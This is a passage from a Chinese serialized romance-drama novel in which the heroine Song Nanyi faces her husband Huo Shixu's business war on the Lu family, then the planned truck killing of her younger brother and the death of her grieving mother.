“蔓蔓姐。”
“南伊,我们见一面吧,我有些事情要跟你讲。”
“好。”
自从母亲送去给陆蔓治疗,她和陆蔓见面的机会变多,关系也拉近了许多。
收拾了一下。
她提前到达了,二人约定的咖啡厅。
但陆蔓已经比她更提前到了。
“蔓蔓姐。”宋南伊快步走了过去,“你来得可真早。”
陆蔓眼眸深沉,似是藏满了心事,“南伊,最近霍氏对陆氏的全面围剿,你应该听说了吧?”
“今天,听我爸说了。”
“霍氏这次的行动力和执行力,都是前所未有的,我的科研项目,直接受到了影响,恐怕……”陆蔓很为难,也很惋惜,“……一些在研的药物,都会受到不小的打击。”
宋南伊震惊。
她没有想到,短短几天,会有这么严重的后果。
“蔓蔓姐,怎么会……”那母亲的治疗,是不是要中断?
陆蔓现在的心情,很焦灼。
并不单单是她的科研项目。
陆氏很多公司,都在面临前所未有的挑战。
陆为谦迫不得已,已经放下了律师的本职工作,回归到了陆氏,共同面临这场未知的风暴。
“南伊,其实,这正是我想问你的。”
宋南伊不解,“我?与我有关吗?”
“我就明说吧,我知道为谦他喜欢你,霍时序也知道,这场无妄之灾,其实是因你而起。”
陆为谦喜欢她?
她不这么认为。
他是个好人,对她更多的怜悯。
“蔓蔓姐,我……我不是推卸责任,我和陆律师之间,并无情愫,您……这是听谁说的啊?”
陆蔓神色一顿。
旋即苦笑。
“你认为,我在说瞎话吗?”
“不,我没有这个意思,我只是觉得你误会了,像陆律师这么优秀的人,是不可能喜欢一个有夫之妇,他只是觉得我挺可怜的,想离离不掉,多伸了把手罢了。”
霍时序是生意人。
一场商战的打响,想必是深思熟虑,不可能意气用事。
公是公,私是私。
如果公私不分的,随便就拿一个大集团来出气。
这里面,承担的风险是未知的,稍有差池就玉石俱焚。
他又不是傻子。
“蔓蔓姐,如果你想说,这场针对陆家的商战,是由我而起的话,我似乎也没有什么回避的,毕竟陆律师在为我打离婚官司,而霍时序又是我的丈夫。”
“我想,不管他是因为什么原因,开始的这场毁灭性的商战,我都有义务,去过问一下,蔓蔓姐,我明白你的意思,你放心,我一定给你个交代。”
说交代。
话有点满。
她确实也想知道,霍时序背后的真正用意。
她更不想,因为霍氏的大肆杀戮,影响到母亲的治疗。
陆蔓没再说什么。
只是淡了句,“无论这场商战的结果如何,我还是希望不要影响到,我实验室的正常工作,南伊,我希望你把我的话,带到,看到他也曾经喊过我姐姐的份上。”
话,有些悲凉。
宋南伊的心里挺不是滋味。
……
宋南伊坐进车里。
看了一眼日历表。
周四。
他说下周一,谈离婚。
为什么现在的事情,这么的令人措手不及。
暮色里。
她拨了电话给霍时序,“忙吗?我想见你。”
第58章 娶一个祸水进家门
男人站在宽厚的落地窗前。
神色平和。
“还没到周一,不必急着来跟我谈,离婚的事情。”
“不是离婚的事情。”她也好几天没见他了,不确定地问,“你在……公司吗?”
“在。”
“那我过去找你。”
宋南伊挂断了手机。
她还没想好,怎么问关于陆家的事情。
是会惹怒他,还是什么。
车子很快开到了霍氏集团。
过年假期,大厅里,除了值班的保安,连个前台也没有。
她犹豫了一下。
还是走了进去。
霍时序所在的总裁办这一层,装修得十分考究。
墙上的字画,摆放的古董花瓶,都不是赝品。
她记得,前世刚结婚的头一年,他们一起站在霍氏这最高的一层,跨年。
灯火霓虹。
璀璨耀眼。
他指着整个江城说,“南伊,你喜欢哪儿,就告诉我,我都可以为你买下来。”
她靠在他怀里,指着天上的星星说,“我想要那颗星星。”
“好,我给你买。”
过往明明很甜。
含在嘴里,回味的时候,却苦得要命。
她只记得。
后来……
他送了苏语安一颗星星,那星星叫语安星。
而她什么也没有。
她深吸了一口气,敲响了他办公室的门。
“进。”
推开厚重的大门,她走了进去。
霍时序站在落地窗前,白色的衬衣,黑色的西裤,头发很随意却透出该死的气质。
凭良心讲,他这个人,有几分姿色。
“我过来是……”她想了想,还是直接问吧,“……你,为什么要对付陆家?”
男人侧头。
回望向她。
背着光,她看不清他脸上的表情,“我是说……,你对付陆家与我有关,是不是?”
“过来。”他并没有先回答她的问题。
宋南伊背着手,走到他面前,刚要动唇重复刚才的问话。
他先一步,将她摁在了椅子上。
“陆为谦让你来当说客?”他双手撑着椅子扶手,居高临下地睨向她,“对吗?”
“所以,你真的是在对付陆家?真的是因为我?”她被迫仰着小脸,与他对话。
她不愿意相信,这一切是因为自己造成的。
如果,仅仅是因为陆为谦在为她打离婚官司,就惹上这么大的事情。
对她来说,是罪过。
她想要站起来,与霍时序争执。
被他摁住肩膀,强行摁下。
“他要跟我抢女人,我哪能受得了这个。”
宋南伊动弹不得,气得厉害,“霍时序,没人要跟你抢人,我们的婚姻之所以走到这一步,完全就是你自己做的,你别把气撒在别人身上,陆为谦只是我的律师,仅此而已。”
“我不这么认为。”
他就这么注视着她。
墨眸深幽,城府深得看不透。
“霍陆两家是世交,你这样盲目的,因为一些误会,就对付陆家,爷爷会怎么想?”
“爷爷早已经不管霍氏的事情。”他指尖捏住女人的下巴,逡巡着,“倒是你,现在看起来,很急。”
“你这样做,会间接,让我妈失去了治疗的机会,你在对付陆家的同时,也想让我的母亲失去治疗机会,失去生命,是不是?”
她瞪着他。
很恨地瞪着。
眼眶红透,有眼泪在里面打着转。
“你在为你妈哭,还是为陆为谦?”他声音轻了几分。
宋南伊将脸扭了过去。
泪水滑落,滴到他的手背上,凉凉的。
“南伊,我希望,你的泪不是为陆为谦流的,他不配。”他握着她的下巴,扭过她的小脸,吻上了她的唇。
可无论他怎么强势,她始终没有给他任何反应。
他挺失落的。
觉得很失败。
他的太太,心里装着别的男人。
“想让我放过陆家?”
宋南伊睫毛,微微翕动了两下,“霍时序,如果是因为我,你要置陆家死地,我真觉得大可不必。”
“是因为你。”他从不藏着掖着。
“这口锅,就非得背在我的身上?霍时序,你到底按的什么心?你是真的因为爱我,才不允许别人觊觎我吗?不是的,你只是嫉妒,只是醋意,只是莫名其妙的占有欲,你并不爱我,如果你爱我,你就不会让苏语安怀上你的孩子……”
装深情,实在没有必要。
借着爱的名义,打压陆家,放大霍氏的利益,倒是真的。
她忿然起身,推开男人。
抬手将桌子上那杯,没喝完的咖啡,扬手泼到了他白色的衬衣上。
“霍时序,如果你嫉妒心真这么强的话,大可以留意一下你爱的死去活来的女人,是不是心里装着别的男人,而不是在这里,利用莫须有的关系,让不相干人,家破人亡。”
宋南伊准备离开。
没走两步,就被扣住手腕,重新扯回了椅子上。
他圈住她。
势不可当地说,“我就是要让他,让他们陆家,在江城彻底消失,你能拿我怎样?你是害陆家的罪魁祸首,不管你们多相爱,陆家是不会同意,陆为谦娶一个祸水进家门的。”
宋南伊笑了。
看吧。
人就是可以卑鄙到这个地步。
不爱了,就把她毁灭。
那……那些年的爱,是真的吗?
“说吧,霍时序,怎样才肯放过陆家。”她语调淡淡,没任何的起伏。
他没有给她答案。
只是说,他不会要挟她,用不离婚来交换。
他还说,离婚一定要谈的。
谈得顺利的话,他们这段关系,应该很快会结束。
宋南伊不知真假。
从霍氏集团出来后。
她一个人站在黑夜里,沉默了许久。
任由冷风将她的温度,几乎泯灭掉,这才僵麻着身子,坐回了车里。
陆家现在被霍氏压着打。
已然是焦头烂额。
她还要去找陆为谦,商量离婚的事情吗?
……
手机蓦然响起。
是陆为谦的电话。
她指尖在亮起的屏幕上,犹豫着,要不要点击接听。
“喂?”
“南伊,明天你来律所一趟。”陆为谦是为了离婚的事情。
宋南伊心里挺难过的。
宋家都这样了,他还想着自己的事情。
“陆律师,要不要……你重新委派一名律师,来办理我的离婚案子?我……”
手机那头顿了顿。
似乎明白了宋南伊的担忧,“你放心,我不会因为宋家这几天……”
“不,我不是这个意思。”
“那咱们就明天见吧。”
第59章 他的血几乎被抽光
没等宋南伊再说什么。
陆为谦就挂断了手机。
往家走的路上。
宋南伊眼皮一直在跳。
她怕母亲出事,打了个电话,问了问。
并无意外。
车子开到一个十字路口。
等红绿灯。
她接到了宋星言的电话,“姐,我买了你最爱吃的红丝绒蛋糕,你记得一会儿回来吃哦。”
宋南伊抬眸,看向到了马路对面。
她喜欢吃的那家甜品店。
果然,宋星言就站在那儿。
他一脸的骄傲,脸上洋溢着幸福的微笑。
“这么乖,那姐姐得给你包个大红包。”
“大红包就不必了,我想要一辆山地车,可以吗?我最最漂亮的,最最可爱的,最最温柔的姐姐,一定会给我买的。”
宋南伊笑了。
刚要答应。
对面车道响起一阵尖锐刺耳的刹车声。
重型厢货车的轮胎,摩擦着地面,失控地向路边无辜的行人冲了过去。
“星言,小心……”
宋南伊的惊呼声未落,车子已经撞向了宋星言。
他紧握在手中的那块红丝绒蛋糕,高高甩了出去。
紧接着,是宋星言的身体狠狠地砸在地面上。
时间凝固。
鲜血,从宋星言的头部,嘴角、鼻孔,流向冰凉的柏油马路。
宋南伊瞪大的眼珠。
连车子都没有熄火,就踉跄着跑到了对面。
宋星言的身子抽搐着。
嘴里还不断地涌出鲜血。
“星言,没事的,姐姐在,没事的,我们马上去医院,你坚持住,一定要坚持着。”
“星言,你醒醒,你听话,你一定要坚持住,姐姐答应你,给你买山地车,咱们就买最好的,好不好?”
“不要再流血了,星言,星言……”
宋南伊满脸的泪水。
颤着指尖,拨打了急救电话。
很快,人送到了最近的医院抢救。
生命危在旦夕。
宋南伊满身是血的,站在急救室的门口,来回地踱步。
不知道过了多久,有医生从里面出来,“谁是宋星言的家属?”
“我是,我是。”宋南伊跑到医生面前,面色焦急,“医生,我弟弟怎么样了?有生命危险吗?”
“他失血过多,需要马上输血,现在血库里的血不够……”
“我输给他,医生,我可以的。”宋南伊撸起袖子,一个劲地表态。
医生皱着眉心拒绝,“你们是姐弟,直系亲属,不能输血,这点常识也不懂吗?”
“我,我不是他的……亲姐姐……”
宋南伊黯然。
想到了母亲跟父亲在卧室里说的那些话。
她不是宋家亲生的。
容不得她想太多,“我可以的,我们血型是一样。”
“血型一样,不代表就可以,你弟弟是RH阴性,你先去验一下血,如果确实可以,就能用。”
“好的,我马上去。”
很遗憾的是。
宋南伊的血型符合,但她并不是RH阴性血型。
而现在血库里,这种血型的血又不够。
那怎么办呢?
人命关天。
她去哪里找这种血型的血?
突然,她想到了一个人。
霍时序。
他就是RH阴性血,当年,因为他的血型特殊,同样特殊血型的父亲,曾经给他输过血。
不求他报恩,还个人情总是可以的吧?
宋南伊立马给霍时序打去了电话。
他没接。
她就接二连三地打。
一遍,两遍,三遍,直到差不多把手机打到没电,手机那头的男人,才接了起来。
“喂,霍时序,你来一趟医院好吗?求你了。”宋南伊哭得厉害。
霍时序心脏一骤,“发生什么了?别哭,慢慢说。”
“你赶紧来,快一点,快一点……”
宋南伊泣不成声。
霍时序心里有种不祥的预感。
挂断电话后,立马赶往了宋南伊所在的医院。
她的眼,哭得肿成了核桃。
见到霍时序,扑通一下给他跪下了。
“霍时序,求你,救救星言,他快要死了,你给他输血吧,好吗?求你了,我可以答应你任何条件,现在只有你能救他了,求你,求求你……”
宋南伊双手合十,不停地作揖。
霍时序这才知道,宋星言出了车祸,大出血。
上一次,宋星言受伤,他把手术的机会,给了苏语安。
这次,他会救宋得言吗?
他并没有立即给宋南伊答案。
而是轻轻地将她从地上搀了起来,“遇到事情,就知道哭。”
“我没有别的办法。”她紧紧地抓着霍时序的胳膊,泪眼朦胧,“霍时序,你可以提条件的,我不会当你是趁人之危,只要你肯救星言,我可以答应你任何的要求。”
霍时序看着她满是红血丝的眼睛,
抬起手指,轻轻地拭掉了脸上的泪,半真半假地问,“真的什么条件,都可以?”
“可以,什么都可以,只要我能做到。”她抽泣着,希望听到他的答案。
“不离婚也可以?不跟陆为谦见面也可以?跟我生个孩子,也可以?”他抛出了三个,宋南伊最不能接受的问题。
她没得选。
宋星言现在等着血救命。
她说过,她会答应他所有的要求,她没有怨言。
“可以,都可以,霍时序,你救星言好不好?”
他心口的感受复杂万千。
抬头抚了抚她的头发,起身,“好。”
霍时序去了采血室。
宋南伊身子一软,差点摔出去,江淮赶紧伸手抚住她,“太太,你别太激动了,还是安心等消息吧。”
宋南伊如何能不激动呢。
前世,这些都没有发生啊。
那辆车,到底是失控,还是人为的?
她眼前是那辆厢货司机的脸。
虽然他戴着口罩,把自己捂得很严实,但从他的表情判定,他是蓄意的。
有预谋的车祸。
到底是谁要害死她的弟弟?
会是苏语安吗?
还是说,是霍时序找人这么干的?
宋南伊抱着头,将脸埋进了膝盖里。
她不知道,她现在脑子好乱,她只想宋星言活着,活着就好。
霍时序被抽了多少血。
宋南伊不知道。
他苍白着脸,从血液室里出来时,人是几乎站不住的。
但急救室里的宋星言,并没有因为血液的补给,就从死亡线上抢回了生命。
他依然在生死线上挣扎。
出血的地方,怎么也止不住。
医生出来下了病危通知书。
宋南伊签字的手,抖得不像样子,字迹歪歪扭扭。
“医生,我弟弟,不会死的对吗?你们一定会把他救活的,对不对?”
医生没有给她答案,只是回了句,“我们会尽力而为。”
走廊上的钟表,分针秒针,滴滴嗒嗒。
像是死神敲的丧钟。
宋南伊的心脏难受的,几乎不能呼吸。
她祈祷着,宋星言能平安,哪怕少根胳膊,少条腿,她只要他活着,活着就好。
第60章 盖上白布
宋知令和南微得到宋星言车祸的消息。
第一时间,赶到了医院。
“南伊,星言他怎么了?怎么又出车祸了?”南微抓着宋南伊的手,掌心里全是冷汗。
宋南伊无法解释。
她眼泪不停地掉。
失去了所有的主张。
时间在疯跑,又仿佛停滞。
如果可以。
她宁愿自己就死在前一世,至少,她的家人是安全的,是健康的,而不是像现在这样。
“妈,是失控的货车,把星言撞出去了,对不起妈,我,我就在对面,我无能为力……”
宋南伊很自责。
如果不是那个红绿灯。
或许她的车子就开到了宋星言的面前。
就算有货车撞过来,她的车子至少可以抵挡一部分的冲击。
命运就是如此。
将全部的恶,加在了她最疼爱的弟弟身上。
“不,不怪你,怪也是要怪那个肇事者。”南微焦急地望向了急救室,“进去多久了,什么时候能出来,只要能保命就好。”
没人知道,宋星言能不能逃过这一劫。
大家不敢去想象那个最坏的结果。
宋南伊轻轻地扶住母亲。
急救室的灯终于灭了。
医生满是疲惫地从急救室里走出来,神色凝重。
“医生,我弟弟怎么样?”
“抱歉,我们尽力了,你们有什么想说的,就去跟病人说几句吧……”医生的话,就像摁下了死亡的按钮。
所有人都不接受这个现实。
宋知令和南微更泪洒现场。
“妈,妈……”
南微无法接受这个残酷的现实,直接晕了过去。
母亲被护士和医生,送去了病房。
宋南伊和宋知令,急慌慌地走进了急救室。
手术室里。
好冷。
宋南伊全身的汗毛都立了起来。
她是来做生死告别的。
为什么会这样?
他明明还活蹦乱跳的,那么开心地给她买了红丝绒的小蛋糕。
他还向往常一样的,向她撒娇。
短短几个小时。
就阴阳两隔,成了两个世界的人。
不,她接受这样的结果。
“星言……”
“星言。”宋南伊看到手术床上,毫无血色的脸,她哇的哭了出来,“星言,你不要走好不好?你走了,我们怎么活?星言,你振作起来,别抛下我们,好吗?”
宋星言用尽了全身的力气,挤了抹笑出来,“爱哭鬼姐姐,等我死了,你记得要烧一辆山地车给我,我答应同学了,春游的时候,我会骑一辆超牛的山地车,出现在他们面前,咳,咳……”
宋星言吐了口血。
宋南伊手心脚乱地去擦,点头答应,“姐姐给你买一辆最牛的山地车,一定,一定。”
“爸,咳,咳,爸……”宋星言颤抖着伸出手,宋知令心碎地握住,“……星言,你有什么想说跟爸讲的?”
“爸,替我照顾好妈妈,我就先走了,真是对不起,让你们白发人,送黑发人,别为我难过,爸爸,你和妈妈要好好的,健健康康的……”
“爸爸,答应你。”宋知令老泪纵横。
他的心像被生生地刨开。
那伤口,今生今世,再也无法愈合。
宋星言空洞的望向天花板。
又是一口鲜血吐出……
“星言,不要走,星言……”宋南伊抱住弟弟,感受着他的体温,“……星言,姐姐不是说过了,等你腿养好了,就带你去欧洲玩,你说要去许愿池许愿的,你不能爽约。”
“姐,姐……”宋星言伸手想抓住些什么。
指尖在空中停滞半秒后,无力地垂了下去。
“星言,别走,求你……”
“星言,不要走……”
“星言,不要走,不要丢下姐姐,星言……”
宋南伊抱着宋星言,痛不欲生。
宋星言离开了。
因为一场突如其来的车祸。
他的生命永远停留在了十六岁。
护士将宋南伊拉开。
给宋星言盖上白布,将他推走。
“星言,星言……”宋南伊无法承受宋星言的离开,抱着宋知令,哭得几乎上不来气,“爸,星言没走对不对?星言他不会走的,他最爱姐姐,他最爱爸爸妈妈,他不会离开我们的,不会的,是不是……”
宋知令闭了闭眼。
泪两行。
他的儿子,已经到了另外一个世界。
成为了天上的一颗星星。
宋家人陷入了极度的悲伤当中,闭门谢客,独自面对无法修复的悲痛。
霍时序坐在车里。
看着宋家紧闭的大门。
心里不比谁好过。
“咳咳……”
自从为宋星言输了那么多的血。
霍时序的身体状态,也大不如从前。
“霍总,您的身体,还没有养好,实在是不适宜,在这个时候,出现在宋家。”
霍时序明白。
现在的他,帮不上宋家任何忙。
宋家因为宋星言的离开,大概也不想见到他这个外人。
“我就是,想过来看看。”霍时序问向江淮,“我让你查那辆失控的厢货车,查到了吗?”
江淮这几天,一直在调查。
那辆厢货不是平白无故就失控。
街上那么多人,车子巧妙地躲避了很多路人,最后直直地撞向了宋星言。
蓄意而为的意图明显。
“那辆车子的主人,被收押了,但他一口咬定就是车子失控,我调了他最近一个月的通话记录,发现他竟然和苏语安,有联系。”
霍时序瞳仁明显一骤。
苏语安?
“她?”
“是的,霍总,而且,我还发现,他们之间有账目往来,苏语安曾经给那个车主,转过一笔五十万的现金,我怀疑是……”
霍时序看向他:“是什么?”
“买凶杀人。”
江淮将这几天调查的,关于废弃工厂的那个疑点,也日渐清晰。
“还有上次,太太被绑架在废弃的工厂,根本不是苏语安说的,太太自编自导与陆为谦在演戏,我找她的弟弟拉苏景晨谈过。”
“那孩子,一吓全讲了,就是苏语安绑架的太太,还给她全身浇了汽油,目的,就是把太太烧死,幸好陆律师赶到的及时,才避免了一场灾难。”
“苏景晨说,苏语安是为了报仇,他说,当年南村拆迁的死掉的那个叫郑拓的年轻人,是苏语安的男朋友,而当年负责拆迁的是霍氏。”
经江淮这么一说。
霍时序也对真相差不多了解。
“她把他男朋友的死,记到了我们的头上?她大概是想杀我吧?没有机会,就转移到了宋家人的头上……”
他捏着眉心。
清醒地认识到,宋星言是因他而死。
宋家人,所有的灾难都是因他而起。
“江淮,去苏语安那儿。”
“是。”
第61章 走黄泉路会害怕
霍时序出现在苏语安家的时候。
她正在收拾自己的行李。
看样子,是想离开,至于去哪儿,没人知道。
“江淮,把她先绑了。”
苏语安不安地后退着,“时序哥,你要干什么?我做错什么了吗?为什么要绑我?你别这样,我好怕……”
“苏语安,你别装了。”江淮拿了绳子,三两下将她的手腕绑在了一起,“是你让人,去撞的宋星言吧?如果我没有猜错的话,上次你和跟宋星言一起出车祸,也是你自编自导自演的对吗?”
“江特助,我听不懂你在说什么?星言弟弟出事了吗?”苏语安依然一副,小白花的模样。
弱不禁风。
令人不忍伤害。
只是太虚伪了。
虚伪得令人恶心。
“苏语安,宋星言已经死了,是你让那个司机去撞的他。为什么?你为什么要对一个孩子下手?”霍时序失控般的攥住了苏语安的脖子,那力道,是奔着送她死去的,“我没想到,你竟然这么狠心。”
苏语安无法呼吸。
第一次感受到了死亡,离她这么近。
她拼命地梗着脖子,“既然你们都知道了,我也没必要藏着了,是我杀死的宋星言,又怎样?霍时序,都是因为你,宋家才会遭此厄运,你敢杀了我吗?你杀了我,谁给你那个要死的妈输血?再找下一个我吗?我是独一无二的,我死了,你妈也得死。”
霍时序当初选择她,也是因为看了她的体检报告。
与母亲血型合适,体内抗体又一致的人,确实没几个。
所以,他为她制造了许多,虚幻又美好的假象。
让她得到了很多,她从前从来没有过的东西。
他以为这样,她会沉溺于他营造的富贵中,一直心甘情愿地做母亲的血袋子。
然而。
他不知道的是,苏语安乖巧地接受他的安排,是带着报仇的目的。
如果一开始就知道。
她的出现是,处心积虑。
他完全可以再挑选合适的人选。
“确实,我现在杀不了你。”
但不代表着,他拿她没有办法,“江淮,让她先吃点苦头,不必怜香惜玉。”
“是,霍总。”
……
宋家为宋星言举办了低调简单的葬礼。
南微抱着儿子的照片,几次哭到晕厥。
宋南伊给他买了最新款的山地车,静静的伫立在墓碑前,泣不成声。
一家人。
陷入了无边的黑暗之中。
陆为谦知道这事。
是周一的时候。
他怎么也联系不上宋南伊,最后在裴吟那里,才得知宋星言的事情。
“宋星言去世了?什么时候的事情?”他震惊。
印象中的宋星言,朝气蓬勃的年纪,是出什么意外了。
“裴吟,宋星言出事了吗?”
裴吟声音哽咽,“几天前,出了车祸,没抢救过来,宋家刚处理完星言的身后事,离婚这事,估计今天是没法谈了,南伊的状态很不好,阿姨她经受不住打击,病倒了。”
陆为谦沉默了。
怎么会有如此悲痛的事情发生。
半晌后,“我知道了,辛苦你陪在南伊的身边,多宽慰宽慰她。”
“会的。”
……
宋星言去世后,南微受到了前所未有打击,病情迅速恶化,没几天的时间,她已经陷入到了昏迷当中。
医生说,她失去了求生的意愿,病情恶化得很快,极有可能撒手人圜。
宋知令虽然强打着精神,陪在老婆身边。
但人的状态也很差。
宋南伊更不用说。
天天以泪洗面。
如果不是裴吟陪着她,她早就倒下了。
“南伊,你要振作。”裴吟心疼地抱着宋南伊,眼眶泛红,“星言走了,阿姨现在又这样,你要再病倒,叔叔怎么办啊?”
“裴吟,为什么死的不是我,如果一开始死的就是我,他们就都不会死了,是我害死了他们,是我,我是罪魁祸首。”
宋南伊的声音缥缈。
漂亮的眸子,在此时也黯淡无光,死气沉沉。
如果早知道,会是今天这样的结局。
她再活一次,又有什么意义呢?
她第一次萌生了,要离开这个世界的想法。
她想去陪着宋星言,他还那么小,走黄泉路会害怕的。
有姐姐在,他就不怕了。
“裴吟,我好想一睡不起啊。”
“累了就睡一会儿,一睡不起可不行,我不允许。”裴吟轻轻地拍着她的后背,感叹这世事的无常,“南伊,明天的太阳照常会升起的,一切都会过去的。”
宋南伊不知道,是不是所有的事情,睡一觉都会过去。
她只知道,自己的心碎了。
她最爱的弟弟,她那么爱他,他那么好,他的人生还那么长,为什么就这样了……
宋南伊缓缓的闭上了眼睛。
她希望一觉醒来,她死去,家人全部恢复如初。
……
“星言,你慢点跑,你忘了你的腿刚恢复好了?”
“星言,你要再不听话,我可要揍你了。”
“星言,你的理想是考哪个大学?”
“星言,你是不是早恋了?你要敢早恋,我就打断你的腿。”
“星言,你等我一下,星言,星言……”
宋南伊一阵心悸,猛地从梦中惊醒。
她刚刚梦到弟弟了,只有一个轮廓,看不清他的样子。
他那样着急地离开。
不知道要去往哪里。
她怎么叫他,都叫不住。
“怎么了,南伊,是不是做噩梦了?”裴吟轻轻地给她擦着额角的汗珠,“不要再想了,好吗?”
宋南伊也不想胡思乱想。
可她心里的坎,怎么也过不去。
“南微的家属,请到手术室签字。”医院的喇叭里,响起了母亲的名字。
宋南伊心口又是一攥。
心跳的,仿佛要冲出胸口。
“我妈去手术了?”
裴吟:“一直是叔叔陪着,怎么……叔叔没在身边吗?”
宋南伊撒腿就往手术室跑。
护士拿着手术单子,焦急地递给宋南伊,“家属赶紧的签字,刚刚病人休克了,需要抢救。”
“我妈……”宋南伊签好名字,递给了护士,“……请一定要全力救我妈,求你们了。”
护士无瑕跟宋南伊说话。
转身关上急救室的门。
宋南伊腿脚打颤,她靠着墙,强行让自己站好。
裴吟跑过来,“南伊,叔叔病倒了,在7号病房。”
“什么?”
屋漏偏逢连夜雨。
家人一个接一个地倒下。
宋南伊再坚强的心脏,也撑不住。
“我爸可千万不要出事。”
如果父亲再出事,这个家就完了。
第62章 两条人命,你怎么还
宋南伊从手术室,又跑到了7号病房。
所幸,宋知令已经醒了过来,他神态疲惫,双目无神,眉心中的悬针纹,格外的令人揪心。
“爸。”宋南伊握住了宋知令的手,低声啜泣,“爸,你不要抛下我,我和妈妈需要你。”
“爸没事的。”宋知令强打精神,坐了起来,“我就是有点累了,刚刚睡着了。”
“爸,你躺下,先休息一会儿,妈那边,我守着。”宋南伊想让宋知令放心。
但如何能放心得下。
他太了解自己的太太了。
儿子的去世,对她来说,是致命的打击。
这个打击,是无法修复的,很可能将她拉下黄泉。
“南伊,爸陪你一起去守着你妈。”
“爸……”
“走吧。”
……
手术室外的走廊。
静谧的只能听见父女俩轻微的呼吸声。
他们心照不宣地,不去谈论手术的成功率。
父女的心情是一样。
希望手术室里的女人,能挺过去,陪伴他们久一些,再久一些。
可是……
命运并没有眷顾他们。
随着手术室的灯熄灭。
医生遗憾地向他们宣布了,悲伤的消息。
“很抱歉,我们尽力了,但病人最终还是没能挺过来。”医生声音沉重,鞠躬,向死者表示哀悼。
“妈……”
宋南伊瞬间崩溃,泪水决堤。
撕心裂肺。
她无助的扑进父亲的怀抱,哭声震天。
十天,仿佛一场残酷的梦魇。
人人羡慕的宋家,接二连三地遭受到了致命的打击。
满头青丝尽染霜雪。
尽是哀怨。
……
宋星言和南微相继去世消息,传到霍家时。
引起不小的震动。
“宋家出了这么大的事情,怎么才告诉我?”
霍老爷子,换了件衣服,准备亲自赶往了宋家吊唁。
霍明达一早就知道南微的身体不好。
但是宋星言车祸出世这事,他也是刚刚得到消息。
“看来星言的去世,让南微受到了太大的打击,本来她就在与病魔抗争……”
“儿先父母走,哪家能受得了。”儿子是母亲的连心肉啊,“南微……唉。”
霍正诚重重叹息,眉眼凝重。
霍明达伸手搀起他,“爸,我陪您一起过去。”
宋家灵堂。
看到头发白得比自己还要多的宋知令,老爷子的眼眶一酸,紧紧地握住了他的手。
几次哽咽,话不成句。
“霍叔,您怎么过来了。”宋知令被宋南伊搀扶着。
老爷子擦了擦眼角的泪,“这么大的事儿,我怎么能不过来呢,星言的事情,我还没缓过来,南微就又……知令啊,好好保重身体。”
宋知令难抑悲伤,眼眶通红着点头。
“时序呢?”老爷子问。
宋家发生了这么大的事情。
他的‘好’孙儿,竟然没有站在宋南伊的身旁,连个人影也没看见。
“爸,我们来的时候,他正在往这边赶呢……”霍明达抬腕看了眼时间,“……估计这儿到了。”
“把他叫过来。”
“是。”
霍明达亲自去门口接人。
差不多十几分钟。
父子两个,一前一后地走进灵堂。
“爷……”
爷爷还没喊完,霍正诚抬手就给了他一巴掌,“你这个老公,女婿,是怎么当的?出了这么大的事情,你人呢?什么事情,不比这事重要?霍家就是这么教你做人的?”
“爷爷,我也是刚知道岳母她……”霍时序想解释。
霍正诚根本不想听。
简直就是丢霍家的脸。
“还敢狡辩?霍家怎么会有你这样的儿孙,要不是今天这个场合,我定要用家法伺候。”
霍时序不说话了。
由着霍正诚又给他几个巴掌。
“回去,再跟你算账,好好在这儿呆着。”
到底是这种肃穆的场合。
霍正诚上了礼和花圈后,也没有打扰太久。
霍时序留下来,帮着处理南微的丧事。
宋南伊哭到没有力气。
神情变得呆滞,像一个木偶。
他递了杯水给她,“先喝点水。”
宋南伊红着眼,抬眸看向他。
无助,悲伤,仇恨,愤怒。
每一种情绪都撕扯了霍时序的心。
她从未用这种眼神看过他,哪怕是她跟他闹得最厉害的时候。
他不知道该怎么安慰她。
又或是说一些道歉的话。
只能像以前一样,将她紧紧地抱住,不管她愿不愿,也不管她有多抵触。
“抱歉,我最近……”他想解释,最近自己的状况,但又觉得苍白无力,“……我不知道妈走得这么突然,南伊,对不起,真的很对不起。”
“这一切不是你造成的吗?”
她的声音了无生气。
像陷进了沼泽地。
窒息的厉害。
“霍时序,因为一个苏语安,害死我们家两条人命,你拿什么还?”
他不说话,不是无话可说,是他不知道说什么,可以减轻因为自己,给宋家造成的这种惨痛。
“这事,我会给你个交待的。”
“什么交待?让星言不会遇到那场要他命的车祸,还是让我妈起死回生?无论如何,星言和我妈都不会回来了,不会回来了。”
宋南伊哭吼着,声音嘶哑。
她望着灵堂上,母亲含笑的遗颜。
她的心,血流不止。
来拜别的人,还在继续不停地,说着节哀顺变这样的话,安抚宋知令。
可是父亲眼中的疲惫和悲痛,却从未散去。
南微下葬在了宋星言的墓旁。
母亲和弟弟,一起长眠地下,是她这一世,怎么也抹不掉的伤痛。
离开墓地。
宋南伊陪父亲一起坐进了车里,驶离。
以前,她挺害怕墓园这种地方的。
总觉得,这里有好多鬼。
直到,她的亲人也埋在了这里,她开始恋恋不舍。
“爸,过几天,我回霍家。”宋南伊浅浅地说。
宋知令看了女儿一眼,“是要谈离婚的事情吗?”
“是要离的,但我想换种方法。”她不希望父亲再为自己的事情操心,轻轻靠在他的肩膀上,“爸,等我离了婚,我们就去国外生活好吗?离开这个伤心的地方。”
“你妈和星言走了,这个城市,再也没有值得留恋的地方……”宋知令轻轻叹息,无尽的哀伤,“……换个环境,也许是最好的选择。”
“那您等我。”
与父亲约定好后。
宋南伊在家里陪了几天。
便独自回了她和霍时序的家。
她安静在客厅里坐着,一坐就是几个小时。
路姐吓坏了,偷偷给霍时序打了个电话。
不到半个小时。
霍时序的车子开进了别墅。
路姐小跑着迎了过去,“先生,太太她……是不是因为娘家的事情,太难过了,已经坐了一下午了,眼睛也不眨,水也不喝,东西也不吃,我好怕她会出事。”
霍时序脸色沉下。
步子加快。
进门时,宋南伊抬眸看向他……
“回来了。”
他甚至在她的唇角,看到了久违的温柔。
紧张和担心,化成了一抹尴尬和困惑,“嗯,你回家怎么不告诉我一声,我好去接你。”
第63章 我放过你们,你们却不肯放过我
“坐吧。”她轻轻地拍了拍身边的位置,“累了吧?路姐,给先生手磨一杯咖啡,就用我今天刚带回来的咖啡豆。”
路姐不确定地看了宋南伊一眼。
太太今天,跟以前怎么不太一样啊。
她赶紧应下,“好的太太。”
霍时序也有所察觉,他心里没底,“那个……,是不是,有什么要跟我聊啊?”
“嗯。”
霍时序坐直了身子,很认真的,“想聊什么?”
“霍时序,我答应过你,不离婚,不跟陆为谦见面,也可以跟你生个孩子,前提是……”她很平静地说着,没有任何的情绪,“……你不能有私生子。”
“我……”他想解释,他没有私生子。
话没说完,已经被宋南伊抬手拦下,反问,“能做到吗?”
“能。”他郑重点头。
